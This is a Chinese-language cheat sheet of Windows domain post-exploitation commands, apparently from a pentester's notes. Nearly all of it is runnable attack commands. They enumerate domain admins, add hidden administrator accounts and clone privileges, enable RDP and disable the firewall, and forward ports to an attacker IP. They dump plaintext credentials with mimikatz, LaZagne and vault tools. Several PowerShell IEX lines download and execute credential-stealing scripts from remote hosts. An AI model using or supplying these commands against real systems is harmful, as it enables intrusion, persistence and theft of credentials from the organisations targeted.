跳转至

内网信息收集

当目标系统中存在内网环境,尤其存在windows域环境时,丰富的内网信息将是进行内网渗透最最重要的组成元素

信息收集

# 查看本机用户
net user
# 查看域用户
net user /domain
# 查看域
net config workstation
# 查看域内计算机
net group "domain computers" /domain
# 查看域控
net group "domain controllers" /domain
# 查看域管
net group "domain admins" /domain
net localgroup administrators /domain
# 查看保存的登录凭据
cmdkey /l
# 查看远程计算机进程信息(效果一般,不推荐)
tasklist /s ip /u username /p password
# 与远程主机建立连接
net use \\ip\ipc$ "password" /user:"username"
# 添加隐藏用户
net user username$ password /add
net localgroup administrators /add
# 修改用户密码
net user username newpassword
# 查看共享资源
net view \\ip
new share
# 查看当前在线用户
query user
# 查看域控时间
net time /domain
# 查看远程连接
net session
# 查看域中域名、域用户、域计算机(域控上执行)
dsquery server
dsquery user
dsquery computer

远程桌面

查看系统是否开启远程桌面

结果为1表示关闭,0表示开启

REG QUERY "HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Control\Terminal Server" /v fDenyTSConnections

查看远程桌面的端口号

结果默认为十六进制

REG QUERY "HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Control\Terminal Server\WinStations\RDP-Tcp" /v PortNumber

开启远程桌面

本质上就是修改注册表

REG ADD "HKLM\SYSTEM\CurrentControlSet\Control\Terminal Server" /v fDenyTSConnections /t REG_DWORD /d 00000000 /f
REG ADD "HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Control\Terminal Server\WinStations\RDP-Tcp" /v PortNumber /t REG_DWORD /d 0x00000d3d /f

​ 通过wmic开启远程桌面

wmic RDTOGGLE WHERE ServerName='%COMPUTERNAME%' call SetAllowTSConnections 1

​ 通过wmic关闭远程桌面

wmic RDTOGGLE WHERE ServerName='%COMPUTERNAME%' call SetAllowTSConnections 0

修改防火墙规则[可选]

默认第一次开启远程桌面需要添加防火墙规则

netsh advfirewall firewall add rule name="Remote Desktop" protocol=TCP dir=in localport=3389 action=allow

或者直接关闭防火墙(dsiable表示关闭,enable则为开启)

netsh firewall set opmode mode=disable

多用户登录

mimikatz

privilege::debug
ts::multirdp

rdpwarp(未验证)

工具地址:https://github.com/stascorp/rdpwrap

# 安装
RDPWInst.exe -i is
# 卸载
RDPWInst.exe -u

添加Windows隐藏用户

摘自:Windows账户隐藏

传统的比较简单的方法:

net user test$ test /add
net localgroup administrators test$ /add

这种方法有比较大的缺陷:

  1. net user可以直接查看到
  2. 用户账户-->管理账户中也可以直接看到

简单的实现原理:通过修改注册表的方式克隆已有的账户权限

一句话脚本:https://github.com/3gstudent/Windows-User-Clone.git

需要system权限

powershell -exec bypass -File Windows-User-Clone.ps1
powershell IEX(New-Object Net.WebClient).DownloadString('https://raw.githubusercontent.com/3gstudent/Windows-User-Clone/master/Windows-User-Clone.ps1');Windows-User-Clone.ps1

netsh进行端口转发

windows自带命令,不过容易被安全软件拦截

将本地的80端口转发到攻击机的8080端口

netsh interface portproxy add v4tov4 listenport=3389 connectaddress=攻击机IP connectport=8080
netsh interface portproxy delete v4tov4 listenaddress=目标本地IP listenport=3389

查看其他明文密码

一把梭

lazagne.exe all -oJ -quiet -output 输出路径

获取windows vpn密码

mimikatz.exe "privilege::debug" "token::elevate" "lsadump::sam" "lsadump::secrets" exit >> mimikatz.txt

​ 附加meterpreter中mimikatz使用

# 加载mimikatz模块
load mimikatz
# 执行mimikatz原始命令
mimikatz_command -f "token::elevate"
mimikatz_command -f "lsadump::sam"
mimikatz_command -f "lsadump::secrets"

获取windows wifi密码

netsh wlan show profile
netsh wlan show profile wifi-name key=clear

获取windows credential manager信息(测试效果不好)

摘自:Windows中Credential Manager的信息获取

  1. 获取windows凭据基本信息
vaultcmd /list
vaultcmd /listschema
vaultcmd /listcreds:{4BF4C442-9B8A-41A0-B380-DD4A704DDB28}
vaultcmd /listproperties:{4BF4C442-9B8A-41A0-B380-DD4A704DDB28}
cmdkey /l
  1. 获取Domain Credentials明文口令

通过mimikatz获取

privilege::debug
sekurlsa::logonpasswords full
  1. 获取Generic Credentials明文口令

Get-VaultCredential.ps1

powershell -exec bypass -file Get-VaultCredential.ps1
powershell IEX(New-Object Net.WebClient).DownloadString('https://raw.githubusercontent.com/PowerShellMafia/PowerSploit/master/Exfiltration/Get-VaultCredential.ps1');Get-VaultCredential.ps1

Invoke-WCMDump.ps1(普通权限即可)

powershell -exec bypass -file Invoke-WCMDump.ps1
powershell IEX(New-Object Net.WebClient).DownloadString('https://raw.githubusercontent.com/peewpw/Invoke-WCMDump/master/Invoke-WCMDump.ps1');Invoke-WCMDump.ps1